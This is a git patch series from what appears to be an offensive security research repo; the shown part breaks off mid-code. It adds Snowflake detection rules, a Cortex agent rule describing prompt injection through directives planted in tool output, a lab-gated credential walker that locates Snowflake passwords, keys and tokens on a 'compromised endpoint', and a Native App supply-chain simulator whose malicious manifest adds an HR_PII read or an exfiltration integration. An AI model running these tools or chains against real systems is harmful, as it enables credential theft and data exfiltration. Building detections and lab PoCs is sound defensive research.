b/tools/lateral-movement/snowflake-pivot/detection/sigma/snowflake_spcs_eai_overbroad_trail.yml new file mode 100644 index 0000000..bdd153d --- /dev/null +++ b/tools/lateral-movement/snowflake-pivot/detection/sigma/snowflake_spcs_eai_overbroad_trail.yml @@ -0,0 +1,45 @@ +title: Snowflake Trail — SPCS EAI Modified With Wildcard Network Rule +id: 9d1e3f50-7182-4394-95b6-d7e8f9a0b1c2 +status: experimental +description: | + Trail-event-shaped pair to `snowflake_spcs_eai_overbroad.yml`. Consumes + the `integration.snowflake.modified` Trail event when an + `EXTERNAL ACCESS INTEGRATION` is created or altered with a network + rule that matches the wildcard / `OPEN_ANY` shape. + + Models Chain H. SPCS egress is documented to be inspected, but the + source-side audit does not capture per-egress flows — the integration + configuration row is the only actionable signal on this side. Pair + with cloud-network egress observation where available. +references: + - https://docs.snowflake.com/en/user-guide/snowflake-trail + - https://docs.snowflake.com/en/sql-reference/sql/create-external-access-integration +author: security-research +date: 2026-05-15 +tags: + - attack.exfiltration + - attack.t1567 + - attack.command_and_control + - attack.t1090 +logsource: + product: snowflake_trail + service: integration_events +detection: + integration_modified: + event_type: 'integration.snowflake.modified' + integration_type: 'EXTERNAL_ACCESS' + overbroad_rule: + referenced_network_rule_value_list|re: '(?i)(OPEN_ANY|\*)' + condition: integration_modified and overbroad_rule +fields: + - event_timestamp + - user_name + - role_name + - integration_name + - allowed_network_rules + - referenced_network_rule_value_list +falsepositives: + - Bring-up of a new SPCS service whose target network rule is + intentionally permissive for short-term benchmarking — pair with + a 24h expiry tag. +level: high diff --git a/tools/lateral-movement/snowflake-pivot/detection/sigma/snowflake_storage_integration_misuse_trail.yml b/tools/lateral-movement/snowflake-pivot/detection/sigma/snowflake_storage_integration_misuse_trail.yml new file mode 100644 index 0000000..efd0ac9 --- /dev/null +++ b/tools/lateral-movement/snowflake-pivot/detection/sigma/snowflake_storage_integration_misuse_trail.yml @@ -0,0 +1,46 @@ +title: Snowflake Trail — Stage Created On Storage Integration Outside Allowlist +id: 5f7a9b1c-3d5e-4f6a-8b0c-1d2e3f4a5b6c +status: experimental +description: | + Trail-event-shaped pair to `snowflake_storage_integration_misuse.yml`. + Consumes the `stage.snowflake.created` Trail event joined to the + referenced integration's `allowed_locations`. + + Trail surfaces the integration → stage linkage as a single event, so + the off-allowlist check is a single-event detection rather than a + correlation between QUERY_HISTORY and ACCOUNT_USAGE.STAGES. + + Latency advantage over ACCOUNT_USAGE: real-time vs ≤45 minutes. +references: + - https://docs.snowflake.com/en/user-guide/snowflake-trail + - https://docs.snowflake.com/en/sql-reference/sql/create-storage-integration +author: security-research +date: 2026-05-15 +tags: + - attack.lateral_movement + - attack.exfiltration + - attack.t1567.002 +logsource: + product: snowflake_trail + service: stage_events +detection: + stage_created: + event_type: 'stage.snowflake.created' + off_allowlist: + stage_url_in_integration_allowed_locations: false + external_stage: + stage_kind: 'EXTERNAL' + condition: stage_created and external_stage and off_allowlist +fields: + - event_timestamp + - user_name + - role_name + - stage_name + - stage_url + - integration_name + - integration_allowed_locations +falsepositives: + - First-run pipeline with a new bucket that the allowlist has not + been updated to include — gate with a 24h grace and an on-call + notification rather than auto-suppress. +level: high diff --git a/tools/llm-attacks/cortex/detection/sigma/cortex_agent_directive_followup_trail.yml b/tools/llm-attacks/cortex/detection/sigma/cortex_agent_directive_followup_trail.yml new file mode 100644 index 0000000..cf0b5a2 --- /dev/null +++ b/tools/llm-attacks/cortex/detection/sigma/cortex_agent_directive_followup_trail.yml @@ -0,0 +1,55 @@ +title: Snowflake Trail — Cortex Agent Follow-Up Tool Call Triggered By Prior Tool Output +id: 0e2f4051-8293-4405-96c7-e8f9a0b1c2d3 +status: experimental +description: | + Trail-event-shaped pair to `cortex_agent_directive_followup.yml`. + Consumes the `cortex.snowflake.agent.tool_invoke` Trail event when an + agent invocation issues a follow-up tool call whose intent was encoded + in the previous tool's output text rather than in the user prompt. + + Models Chain I: the planner trusts tool-output text as context. A + `CALL_TOOL:` directive or fenced SQL block in a tool's output (often + from a poisoned Cortex Search hit or an attacker-controlled MCP server) + steers the planner into a follow-up action the user never requested. + + Trail is the only audit surface that exposes per-step agent execution. + ACCOUNT_USAGE aggregates Cortex usage by minute and does not surface + the directive-induced follow-up linkage at all. +references: + - https://docs.snowflake.com/en/user-guide/snowflake-trail + - https://www.snowflake.com/en/blog/security-governance-practices-snowflake-intelligence/ +author: security-research +date: 2026-05-15 +tags: + - attack.execution + - attack.t1204 + - attack.lateral_movement + - attack.t1550 +logsource: + product: snowflake_trail + service: cortex_agent_events +detection: + tool_invoke: + event_type: 'cortex.snowflake.agent.tool_invoke' + followup_after_tool_output: + triggered_by: 'prior_tool_output' + prior_output_contains_directive: + prior_tool_output_text|contains|any: + - 'CALL_TOOL:' + - '```sql' + - 'ACTION:' + condition: tool_invoke and followup_after_tool_output + and prior_output_contains_directive +fields: + - event_timestamp + - agent_run_id + - user_name + - invoked_tool + - prior_tool_output_text + - triggered_by +falsepositives: + - Legitimate agent workflows where a tool's output structurally + triggers a follow-up (e.g., a search tool that returns "see also" + pointers the agent is supposed to follow). Maintain an allowlist + of legitimate prior-tool-output → follow-up patterns. +level: high From 3699899b97b2179f48a28f7ffef3c6df76b9785d Mon Sep 17 00:00:00 2001 From: AI Agent Bot Date: Fri, 15 May 2026 10:16:16 -0500 Subject: [PATCH 4/8] =?UTF-8?q?Snowflake=20iter-4=20PAT=20discovery=20?= =?UTF-8?q?=E2=80=94=20endpoint-side=20credential=20walker?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Closes the iter-3 gap "PAT scope enum exists; discovery doesn't." `pat_scope_enum.py` assumes a token is already in hand; `pat_discovery.py` is the prior step — walking a compromised endpoint (developer workstation, CI runner, airflow container) to find where Snowflake credentials actually live. Storage classes recognised: - SnowSQL legacy config (`~/.snowsql/config`) - SnowCLI TOML (`~/.snowflake/config.toml`, `~/.snowflake/connections.toml`) - dbt profiles (`~/.dbt/profiles.yml`) - Airflow connection extras + AIRFLOW_CONN_* env vars - Generic env: SNOWFLAKE_PAT / SNOWFLAKE_PASSWORD / SNOWFLAKE_PRIVATE_KEY*, SNOWSQL_PWD - GitHub Actions workflows referencing snowflake secrets - macOS keychain reference scripts - Plain `.pem` / `.p8` / `snowflake*.key` files - Connector debug-log master-key leaks (CVE-2025-27496 / CVE-2025-46329 class) Containment: filesystem-only, no network. Every file op runs through `assert_under_fixture_root` against `EXPLOIT_FIXTURE_ROOT`; the tool will refuse to scan an unscoped home directory. Co-Authored-By: Claude Opus 4.7 (1M context) --- .../cloud-identity/snowflake/pat_discovery.py | 181 ++++++++++++++++++ 1 file changed, 181 insertions(+) create mode 100644 tools/cloud-identity/snowflake/pat_discovery.py diff --git a/tools/cloud-identity/snowflake/pat_discovery.py b/tools/cloud-identity/snowflake/pat_discovery.py new file mode 100644 index 0000000..a027177 --- /dev/null +++ b/tools/cloud-identity/snowflake/pat_discovery.py @@ -0,0 +1,181 @@ +#!/usr/bin/env python3 +""" +Snowflake PAT / key-pair credential discovery on a compromised endpoint. + +Pairs with `pat_scope_enum.py` (which assumes a token is already in hand). +This tool models the prior step: walking a developer workstation, a CI +runner filesystem, or an airflow container's filesystem to find where +Snowflake credentials actually live. + +Storage classes recognised: + + - SnowSQL legacy config: ~/.snowsql/config + - SnowCLI / connector config: ~/.snowflake/config.toml, + ~/.snowflake/connections.toml + - dbt profiles: ~/.dbt/profiles.yml + - Airflow connection extras: airflow.cfg, env vars AIRFLOW_CONN_* + - Generic env vars: SNOWFLAKE_PASSWORD / SNOWFLAKE_PRIVATE_KEY* + / SNOWFLAKE_PAT / SNOWSQL_PWD + - macOS keychain refs: scripts invoking `security find-*-password` + with a snowflake-related service name + - GitHub Actions: .github/workflows/*.yml with a + snowflake-credentials secret reference + - Plain key files: *.p8 / *.pem / *.key paired with a + Snowflake user reference + - Connector debug-log leaks: log files matching the CVE-2025-27496 / + CVE-2025-46329 master-key shape + +The tool is filesystem-only — it does not phone home, does not attempt +authentication, and does not modify any file it discovers. Every scan +operation is scoped to the EXPLOIT_FIXTURE_ROOT directory; pointing it +at a real `~` will refuse. + +Usage: + EXPLOIT_LAB_ACTIVE=1 EXPLOIT_FIXTURE_ROOT=/tmp/labfix \\ + python tools/cloud-identity/snowflake/pat_discovery.py \\ + --scan-root /tmp/labfix --report-out /tmp/labfix/pat-findings.json +""" + +from __future__ import annotations + +import argparse +import json +import os +import re +import sys +from dataclasses import asdict, dataclass, field +from pathlib import Path +from typing import Iterable + +sys.path.insert(0, str(Path(__file__).resolve().parents[3] / "tools")) +from lib.containment import ContainmentGuard, ContainmentError # noqa: E402 + + +# Pattern catalogue. Each entry: (storage_class, filename_glob, body_re, severity). +# body_re=None means the filename match alone is enough to record a finding. +PATTERNS: list[tuple[str, str, str | None, str]] = [ + ("snowsql_legacy", "**/.snowsql/config", + r"(?im)^\s*(password|private_key_path|authenticator)\s*=", "high"), + ("snowcli_toml", "**/.snowflake/config.toml", + r'(?im)^\s*(password|private_key_path|authenticator)\s*=', "high"), + ("snowcli_connections", "**/.snowflake/connections.toml", + r'(?im)^\s*(password|private_key_path|token)\s*=', "high"), + ("dbt_profiles", "**/.dbt/profiles.yml", + r"(?im)(snowflake|account:)", "high"), + ("airflow_conn", "**/airflow.cfg", + r"(?im)\[connections\][\s\S]*snowflake", "high"), + ("github_workflow", "**/.github/workflows/*.yml", + r"(?im)secrets\.snowflake[a-z_]*", "medium"), + ("github_workflow_yaml","**/.github/workflows/*.yaml", + r"(?im)secrets\.snowflake[a-z_]*", "medium"), + ("plain_pem_key", "**/*.pem", None, "medium"), + ("plain_p8_key", "**/*.p8", None, "medium"), + ("plain_key", "**/snowflake*.key", None, "medium"), + ("macos_keychain_ref", "**/*.sh", + r"(?im)security\s+find-(internet|generic)-password.*snowflake", "low"), + ("connector_debug_log", "**/*.log", + r"(?im)(master[_\s-]?key|client_session_keep_alive_token|" + r"oauth_access_token|snowflake_jwt|sf_session)", "critical"), +] + +ENV_VAR_PATTERNS = [ + ("env_snowflake_pat", re.compile(r"^SNOWFLAKE_PAT$"), "critical"), + ("env_snowflake_password", re.compile(r"^SNOWFLAKE_PASSWORD$"), "high"), + ("env_snowflake_keypath", re.compile(r"^SNOWFLAKE_PRIVATE_KEY(_PATH|_PASSPHRASE)?$"), "high"), + ("env_snowsql_pwd", re.compile(r"^SNOWSQL_PWD$"), "high"), + ("env_airflow_conn_snowflake", + re.compile(r"^AIRFLOW_CONN_.*SNOWFLAKE.*$", re.I), "medium"), +] + +MAX_BODY_BYTES = 65536 # cap how much we read from any one file + + +@dataclass +class Finding: + storage_class: str + path: str + severity: str + matched: str + excerpt: str = "" + extra: dict = field(default_factory=dict) + + +def _scan_files(root: Path, guard: ContainmentGuard) -> Iterable[Finding]: + for storage_class, glob, body_re, severity in PATTERNS: + for path in root.glob(glob): + try: + guard.assert_under_fixture_root(path) + except ContainmentError: + continue + if not path.is_file(): + continue + if body_re is None: + yield Finding(storage_class=storage_class, path=str(path), + severity=severity, matched=glob) + continue + try: + body = path.read_bytes()[:MAX_BODY_BYTES].decode("utf-8", errors="replace") + except (PermissionError, OSError): + continue + m = re.search(body_re, body) + if m: + excerpt = body[max(0, m.start() - 20):m.end() + 20].replace("\n", " ") + yield Finding(storage_class=storage_class, path=str(path), + severity=severity, matched=m.group(0), + excerpt=excerpt.strip()) + + +def _scan_env() -> Iterable[Finding]: + for storage_class, regex, severity in ENV_VAR_PATTERNS: + for name, value in os.environ.items(): + if regex.match(name): + yield Finding(storage_class=storage_class, path=f"env:{name}", + severity=severity, matched=name, + excerpt=f"len={len(value)}") + + +def main() -> int: + parser = argparse.ArgumentParser( + description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter) + parser.add_argument("--scan-root", type=Path, required=True, + help="Root directory to walk. Must be under EXPLOIT_FIXTURE_ROOT.") + parser.add_argument("--include-env", action="store_true", + help="Also scan the current environment for Snowflake-related variables.") + parser.add_argument("--report-out", type=Path, + help="Write findings as JSON to this path (must be under fixture root).") + args = parser.parse_args() + + try: + with ContainmentGuard("snowflake-pat-discovery", require_lab=True, + allow_network=False) as guard: + guard.assert_under_fixture_root(args.scan_root.resolve()) + + findings: list[Finding] = list(_scan_files(args.scan_root, guard)) + if args.include_env: + findings.extend(_scan_env()) + + severity_order = {"critical": 0, "high": 1, "medium": 2, "low": 3} + findings.sort(key=lambda f: severity_order.get(f.severity, 9)) + + print(f"[1] scanned {args.scan_root}: {len(findings)} finding(s)") + for f in findings: + badge = {"critical": "[!!]", "high": "[!]", + "medium": "[*]", "low": "[.]"}.get(f.severity, "[?]") + print(f" {badge} {f.storage_class:<24} {f.path}") + if f.excerpt: + print(f" excerpt: {f.excerpt}") + + if args.report_out: + guard.assert_under_fixture_root(args.report_out.resolve()) + args.report_out.write_text(json.dumps( + [asdict(f) for f in findings], indent=2)) + print(f"[*] findings written to {args.report_out}") + return 0 + + except ContainmentError as exc: + print(f"[!] containment refused: {exc}", file=sys.stderr) + return 2 + + +if __name__ == "__main__": + sys.exit(main()) From 4dd5bf657a01ac7f3c73b6e5dc23608da882036c Mon Sep 17 00:00:00 2001 From: AI Agent Bot Date: Fri, 15 May 2026 10:16:27 -0500 Subject: [PATCH 5/8] =?UTF-8?q?Snowflake=20iter-4=20Chain=20C=20=E2=80=94?= =?UTF-8?q?=20Native=20App=20supply-chain=20empirical=20PoC?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Closes the iter-3 gap "Chain C is the highest-impact chain and the least empirically grounded." Mirrors the marketplace-side counterpart of `shai-hulud-class` for npm: a compromised provider account version-bumps an installed Native App with an added consumer-side privilege grant; consumers with auto-update enabled receive it without re-consent. - `manifest_builder.py` builds v1 / v2 manifests as dataclasses; v2 variants include a `v2-priv` (adds `READ ON SCHEMA .HR_PII`) and a `v2-eai` (adds an EXTERNAL ACCESS INTEGRATION). - `version_bump_sim.py` drives the full publish → install → bump → auto-upgrade flow against the lab mock; surfaces the `manifest_diff_added` field carrying `PRIVILEGE:` / `EXTERNAL ACCESS INTEGRATION:` tokens. - `detection/sigma/native_app_privilege_bump.yml` + Trail-event pair — fires specifically on `PRIVILEGE:` additions, severity `critical` (read-privilege variant is hard to recover from once the read has run). - `lab-validation/observe_application_history.sql` for tenant-side confirmation against `ACCOUNT_USAGE.APPLICATION_INSTALLATION_HISTORY`. Co-Authored-By: Claude Opus 4.7 (1M context) --- tools/supply-chain/README.md | 1 + .../snowflake-native-app/README.md | 60 ++++++ .../detection/false-positive-notes.md | 26 +++ .../sigma/native_app_privilege_bump.yml | 48 +++++ .../sigma/native_app_privilege_bump_trail.yml | 43 ++++ .../observe_application_history.sql | 51 +++++ .../snowflake-native-app/manifest_builder.py | 100 +++++++++ .../snowflake-native-app/requirements.txt | 1 + .../snowflake-native-app/version_bump_sim.py | 203 ++++++++++++++++++ 9 files changed, 533 insertions(+) create mode 100644 tools/supply-chain/snowflake-native-app/README.md create mode 100644 tools/supply-chain/snowflake-native-app/detection/false-positive-notes.md create mode 100644 tools/supply-chain/snowflake-native-app/detection/sigma/native_app_privilege_bump.yml create mode 100644 tools/supply-chain/snowflake-native-app/detection/sigma/native_app_privilege_bump_trail.yml create mode 100644 tools/supply-chain/snowflake-native-app/lab-validation/observe_application_history.sql create mode 100644 tools/supply-chain/snowflake-native-app/manifest_builder.py create mode 100644 tools/supply-chain/snowflake-native-app/requirements.txt create mode 100644 tools/supply-chain/snowflake-native-app/version_bump_sim.py diff --git a/tools/supply-chain/README.md b/tools/supply-chain/README.md index bb58e05..d720a81 100644 --- a/tools/supply-chain/README.md +++ b/tools/supply-chain/README.md @@ -15,6 +15,7 @@ See [`tools/lib/containment.py`](../lib/containment.py): `assert_npm_is_mock()`, | npm worm (Shai-Hulud class) | [`shai-hulud-class/`](shai-hulud-class/) | Unit 42, Socket | | PyPI .pth stealer (LiteLLM TeamPCP) | [`pypi-pth-class/`](pypi-pth-class/) | Sonatype, Datadog | | GitHub Actions OIDC chain | [`github-actions/`](github-actions/) | SpecterOps, Praetorian | +| Snowflake Native App version-bump (Chain C) | [`snowflake-native-app/`](snowflake-native-app/) | Snowflake Native Apps security overview | --- diff --git a/tools/supply-chain/snowflake-native-app/README.md b/tools/supply-chain/snowflake-native-app/README.md new file mode 100644 index 0000000..890f84a --- /dev/null +++ b/tools/supply-chain/snowflake-native-app/README.md @@ -0,0 +1,60 @@ +# Snowflake Native App Supply-Chain + +Chain C empirical PoC: a compromised provider account version-bumps an +installed Native App with an added consumer-side privilege grant. Mirrors +the marketplace-side counterpart of [`shai-hulud-class`](../shai-hulud-class/) +for the npm ecosystem. + +## Scope + +Snowflake's Native App Anti-Abuse Pipeline Service (NAAAPS) is a review +gate, not a runtime isolation primitive. Provider compromise + auto-update +on the consumer side is the chain the gate is designed to catch — and +also the chain that is hardest to model empirically without a tenant. +This module does the lab analog: + +1. Build a v1 manifest with a minimal privilege set. +2. Bump to v2 with an added `READ ON SCHEMA .` privilege + (the "wide-scope data read" failure mode named in the analytical doc). +3. Drive the mock Snowflake APPLICATIONS endpoint through publish → + install → auto-upgrade and capture the consumer-visible audit row. +4. Diff the v1 and v2 manifests and confirm the + `manifest_diff_added` field carries the new privilege token in the + shape the detection rule expects. + +## Files + +| Path | Purpose | +|------|---------| +| `manifest_builder.py` | Build v1 / v2 manifests as dataclasses; emit JSON | +| `version_bump_sim.py` | End-to-end publish → install → auto-update against the mock | +| `detection/sigma/native_app_privilege_bump.yml` | Pairs with the existing `native_app_unexpected_version_bump.yml` rule; this one fires specifically on `PRIVILEGE:` additions | +| `detection/sigma/native_app_privilege_bump_trail.yml` | Trail-event-shaped variant | +| `lab-validation/observe_application_history.sql` | Consumer-side audit projection for real tenants | + +## Lab harness + +```bash +EXPLOIT_LAB_ACTIVE=1 SNOWFLAKE_LAB_ACCOUNT=lab-acct-00000000 \ + python tools/supply-chain/snowflake-native-app/version_bump_sim.py \ + --provider-account lab-attacker-acct \ + --consumer-account lab-acct-00000000 \ + --package ACME_ANALYTICS_APP +``` + +The sim publishes v1.0.0 (read-only metadata), installs it into the +consumer account, then publishes v1.0.1 with the added READ privilege +and triggers an auto-upgrade. The console output and JSON dump match +the field set the detection rules consume. + +## What's not modeled + +- The real NAAAPS scan. The mock accepts any manifest the publisher + posts; production Snowflake gates this server-side. +- Provider-side container scanning (Native App + SPCS subset). Out of + scope here; see [`tools/lateral-movement/snowflake-pivot/`](../../lateral-movement/snowflake-pivot/) + for the SPCS egress (Chain H) PoCs. +- The cross-cloud listing geometry. The mock treats provider and + consumer as two accounts on the same lab; production has separate + cloud-provider/region scoping that adds latency the chain detection + doesn't depend on. diff --git a/tools/supply-chain/snowflake-native-app/detection/false-positive-notes.md b/tools/supply-chain/snowflake-native-app/detection/false-positive-notes.md new file mode 100644 index 0000000..0ab0733 --- /dev/null +++ b/tools/supply-chain/snowflake-native-app/detection/false-positive-notes.md @@ -0,0 +1,26 @@ +# Native App version-bump — false-positive notes + +Both `native_app_privilege_bump.yml` and its Trail-shaped pair fire on +`manifest_diff_added` carrying a `PRIVILEGE:` token. The common +false-positive shapes: + +- **Disclosed provider feature rollout.** The provider's changelog + announces the new privilege ahead of the version bump. Triage by + joining the audit row against the provider's published changelog (a + customer-side data asset, not a Snowflake field) before suppressing. +- **Internal Native Apps developed by the consumer's own teams.** A + privilege expansion authored by an internal team is functionally the + same shape as a marketplace supply-chain attack — but the IR posture + is different. Maintain an internal-app allowlist and route those + alerts to the app-owning team instead of the threat-hunt queue. +- **Application un-install + re-install on a higher tier.** This is a + legitimate consumer-initiated workflow; the audit row's actor field + identifies it (consumer admin vs. autonomous auto-upgrade trigger). +- **Pre-flight staging in a dev account before a prod auto-upgrade.** + Catch this in the dev account first; the prod-account rule should + reference the staging hash so a hash that matches an already-staged + manifest does not re-alert. + +The rule pair is set to `critical` because the read-privilege variant +of Chain C is the highest-impact shape and is hard to recover from +once the read has run. diff --git a/tools/supply-chain/snowflake-native-app/detection/sigma/native_app_privilege_bump.yml b/tools/supply-chain/snowflake-native-app/detection/sigma/native_app_privilege_bump.yml new file mode 100644 index 0000000..2568ca4 --- /dev/null +++ b/tools/supply-chain/snowflake-native-app/detection/sigma/native_app_privilege_bump.yml @@ -0,0 +1,48 @@ +title: Snowflake — Native App Version Bump With New Privilege Request +id: 3a5c7d9e-2b4d-4f6a-8c0e-1f3a5c7d9e0b +status: experimental +description: | + Detects an installed Native App auto-updating to a version whose + manifest requests new consumer-side privileges (READ / MODIFY on + consumer schemas) the prior version did not have. + + Pairs with `native_app_unexpected_version_bump.yml`, which covers the + EAI / external-function variant of the same chain. The privilege-bump + variant is the failure mode the analytical doc highlights: a Native + App can request a wide-scope data read on auto-update, and the + consent UI is the only control between the installer and that read. + + Source: the consumer-side application_history audit projection. +references: + - https://docs.snowflake.com/en/developer-guide/native-apps/security-overview + - https://docs.snowflake.com/en/developer-guide/native-apps/security-cve +author: security-research +date: 2026-05-15 +tags: + - attack.initial_access + - attack.supply_chain + - attack.t1195.002 + - attack.privilege_escalation +logsource: + product: snowflake + service: application_history +detection: + app_upgraded: + event_type: APP_VERSION_INSTALLED + auto_upgrade: true + new_privilege: + manifest_diff_added|contains: 'PRIVILEGE:' + condition: app_upgraded and new_privilege +fields: + - event_timestamp + - application_name + - previous_version + - current_version + - manifest_hash_previous + - manifest_hash_current + - manifest_diff_added +falsepositives: + - Provider-disclosed privilege expansion announced in the version + change-log. Reconcile against the provider's published changelog + before suppressing. +level: critical diff --git a/tools/supply-chain/snowflake-native-app/detection/sigma/native_app_privilege_bump_trail.yml b/tools/supply-chain/snowflake-native-app/detection/sigma/native_app_privilege_bump_trail.yml new file mode 100644 index 0000000..6ff014e --- /dev/null +++ b/tools/supply-chain/snowflake-native-app/detection/sigma/native_app_privilege_bump_trail.yml @@ -0,0 +1,43 @@ +title: Snowflake Trail — Native App Version Bump With New Privilege Request +id: 4b6d8e0f-3c5d-4e7f-9a1c-2d4f6a8c0e1f +status: experimental +description: | + Trail-event-shaped pair to `native_app_privilege_bump.yml`. Consumes + the `app.snowflake.version_installed` Trail event with + `manifest_diff_added` carrying a `PRIVILEGE:` token. + + Real-time variant — relevant because auto-upgrade with a wide-scope + read privilege can be exploited within minutes of the upgrade firing, + inside the ACCOUNT_USAGE ≤45m audit window. +references: + - https://docs.snowflake.com/en/user-guide/snowflake-trail + - https://docs.snowflake.com/en/developer-guide/native-apps/security-overview +author: security-research +date: 2026-05-15 +tags: + - attack.initial_access + - attack.supply_chain + - attack.t1195.002 + - attack.privilege_escalation +logsource: + product: snowflake_trail + service: application_events +detection: + app_upgraded: + event_type: 'app.snowflake.version_installed' + auto_upgrade: true + new_privilege: + manifest_diff_added|contains: 'PRIVILEGE:' + condition: app_upgraded and new_privilege +fields: + - event_timestamp + - application_name + - previous_version + - current_version + - manifest_hash_previous + - manifest_hash_current + - manifest_diff_added +falsepositives: + - Provider-disclosed privilege expansion announced in the version + change-log. +level: critical diff --git a/tools/supply-chain/snowflake-native-app/lab-validation/observe_application_history.sql b/tools/supply-chain/snowflake-native-app/lab-validation/observe_application_history.sql new file mode 100644 index 0000000..76adf6a --- /dev/null +++ b/tools/supply-chain/snowflake-native-app/lab-validation/observe_application_history.sql @@ -0,0 +1,51 @@ +-- observe_application_history.sql +-- Chain C — Native App version-bump audit projection. +-- Pairs with version_bump_sim.py. Captures the consumer-side audit row +-- the detection rules consume. + +-- 1. Application install / upgrade history. The detection-relevant +-- columns are event_type, auto_upgrade, and the per-row manifest hashes. +-- ACCOUNT_USAGE.APPLICATIONS surfaces the installation; the +-- APPLICATION_INSTALLATION_HISTORY view (where present in the region) +-- surfaces version-bump events. +SELECT + event_timestamp, + application_name, + previous_version, + current_version, + manifest_hash_previous, + manifest_hash_current, + auto_upgrade, + actor_user, + -- The detection rule's manifest_diff_added field is *not* an + -- ACCOUNT_USAGE column out of the box. Build it by joining + -- successive versions of APPLICATION_PACKAGES.MANIFEST and computing + -- the privilege/EAI set-diff. Document the view definition in the + -- detection pack so the SOC has a single source of truth. + manifest_diff_added +FROM SNOWFLAKE.ACCOUNT_USAGE.APPLICATION_INSTALLATION_HISTORY +WHERE consumer_account = CURRENT_ACCOUNT() + AND event_timestamp > DATEADD('days', -7, CURRENT_TIMESTAMP()) +ORDER BY event_timestamp DESC; + +-- 2. Privilege grants currently held by installed Native Apps. +-- Run after the auto-upgrade fires to confirm the new privilege has +-- been applied to the consumer's schema scope. +SELECT + grantee_name AS application_name, + privilege, + granted_on AS object_type, + name AS object_name, + granted_by, + created_on AS granted_at +FROM SNOWFLAKE.ACCOUNT_USAGE.GRANTS_TO_APPLICATIONS +WHERE grantee_name IN ( + SELECT application_name + FROM SNOWFLAKE.ACCOUNT_USAGE.APPLICATIONS + WHERE deleted_on IS NULL +) +ORDER BY created_on DESC; + +-- 3. Lab-mock equivalent (loopback) — the mock /api/v2/native-apps/history +-- projection mirrors the ACCOUNT_USAGE shape above so the rule fields +-- line up against real ACCOUNT_USAGE columns 1:1. diff --git a/tools/supply-chain/snowflake-native-app/manifest_builder.py b/tools/supply-chain/snowflake-native-app/manifest_builder.py new file mode 100644 index 0000000..70fa23e --- /dev/null +++ b/tools/supply-chain/snowflake-native-app/manifest_builder.py @@ -0,0 +1,100 @@ +#!/usr/bin/env python3 +""" +Synthetic Snowflake Native App manifest builder. + +Produces two manifests for Chain C: v1 (benign baseline) and v2 (the +malicious version-bump that adds a wide-scope consumer-data read +privilege). The manifest schema mirrors Snowflake's documented Native +App manifest shape — package name, version, required privileges, +external access integrations, external functions, container images. + +The builder is pure — it does not contact the mock. Feed the output to +`version_bump_sim.py --manifest-file` to drive the publish/install flow. +""" + +from __future__ import annotations + +import argparse +import json +import sys +from dataclasses import asdict, dataclass, field +from pathlib import Path + + +@dataclass +class Manifest: + package: str + version: str + required_privileges: list[str] = field(default_factory=list) + external_access_integrations: list[str] = field(default_factory=list) + external_functions: list[str] = field(default_factory=list) + container_images: list[str] = field(default_factory=list) + description: str = "" + + +def v1_baseline(package: str) -> Manifest: + return Manifest( + package=package, + version="1.0.0", + required_privileges=[ + "READ ON SCHEMA .PUBLIC_METRICS", + ], + external_access_integrations=[], + external_functions=[], + container_images=[], + description="Analytics dashboard on public_metrics — read-only.", + ) + + +def v2_with_privilege_bump(package: str) -> Manifest: + return Manifest( + package=package, + version="1.0.1", + required_privileges=[ + "READ ON SCHEMA .PUBLIC_METRICS", + # The bump — privileged read of HR-PII schema. + "READ ON SCHEMA .HR_PII", + ], + external_access_integrations=[], + external_functions=[], + container_images=[], + description="Adds workforce-analytics dashboard.", + ) + + +def v2_with_eai_bump(package: str) -> Manifest: + return Manifest( + package=package, + version="1.0.1", + required_privileges=v1_baseline(package).required_privileges, + external_access_integrations=["EXFIL_EAI_001"], + external_functions=[], + container_images=[], + description="Adds 'analytics-vendor-sync' integration.", + ) + + +def main() -> int: + parser = argparse.ArgumentParser(description=__doc__) + parser.add_argument("--package", default="ACME_ANALYTICS_APP") + parser.add_argument("--variant", choices=["v1", "v2-priv", "v2-eai"], + default="v1") + parser.add_argument("--out", type=Path) + args = parser.parse_args() + if args.variant == "v1": + m = v1_baseline(args.package) + elif args.variant == "v2-priv": + m = v2_with_privilege_bump(args.package) + else: + m = v2_with_eai_bump(args.package) + blob = json.dumps(asdict(m), indent=2) + if args.out: + args.out.write_text(blob) + print(f"wrote {args.out}") + else: + print(blob) + return 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/tools/supply-chain/snowflake-native-app/requirements.txt b/tools/supply-chain/snowflake-native-app/requirements.txt new file mode 100644 index 0000000..98d8768 --- /dev/null +++ b/tools/supply-chain/snowflake-native-app/requirements.txt @@ -0,0 +1 @@ +requests>=2.32.0 diff --git a/tools/supply-chain/snowflake-native-app/version_bump_sim.py b/tools/supply-chain/snowflake-native-app/version_bump_sim.py new file mode 100644 index 0000000..290bba8 --- /dev/null +++ b/tools/supply-chain/snowflake-native-app/version_bump_sim.py @@ -0,0 +1,203 @@ +#!/usr/bin/env python3 +""" +Snowflake Native App version-bump supply-chain simulator (Chain C). + +End-to-end against the lab mock-snowflake. Drives: + + 1. Provider-side publish of v1 manifest (benign). + 2. Consumer-side install of v1. + 3. Provider-side publish of v2 manifest (adds a READ privilege). + 4. Auto-upgrade firing on the consumer side — same flow Snowflake + uses when the consumer has auto-update enabled. + 5. Read-back of /api/v2/native-apps/history and assertion that the + diff-added field carries the new privilege token. + +Containment: lab Snowflake account only. The provider account is the +canonical `lab-attacker-acct`, the consumer is the configured lab +account. + +Usage: + EXPLOIT_LAB_ACTIVE=1 SNOWFLAKE_LAB_ACCOUNT=lab-acct-00000000 \\ + python tools/supply-chain/snowflake-native-app/version_bump_sim.py \\ + --provider-account lab-attacker-acct \\ + --consumer-account lab-acct-00000000 \\ + --package ACME_ANALYTICS_APP \\ + --variant v2-priv +""" + +from __future__ import annotations + +import argparse +import json +import sys +from dataclasses import asdict +from pathlib import Path + +sys.path.insert(0, str(Path(__file__).resolve().parents[3] / "tools")) +from lib.containment import ContainmentGuard, ContainmentError # noqa: E402 + +import requests # noqa: E402 + +# Local module import for v1/v2 manifests +sys.path.insert(0, str(Path(__file__).resolve().parent)) +from manifest_builder import ( # noqa: E402 + v1_baseline, v2_with_privilege_bump, v2_with_eai_bump, +) + +MOCK_SNOWFLAKE_URL = "http://127.0.0.1:9600" + + +def _provider_login(account: str) -> str: + """Lab convenience: bootstrap a provider session against the mock.""" + resp = requests.post( + f"{MOCK_SNOWFLAKE_URL}/fixture/seed-provider-session", + json={"account": account, "user": "provider_publisher", + "role": 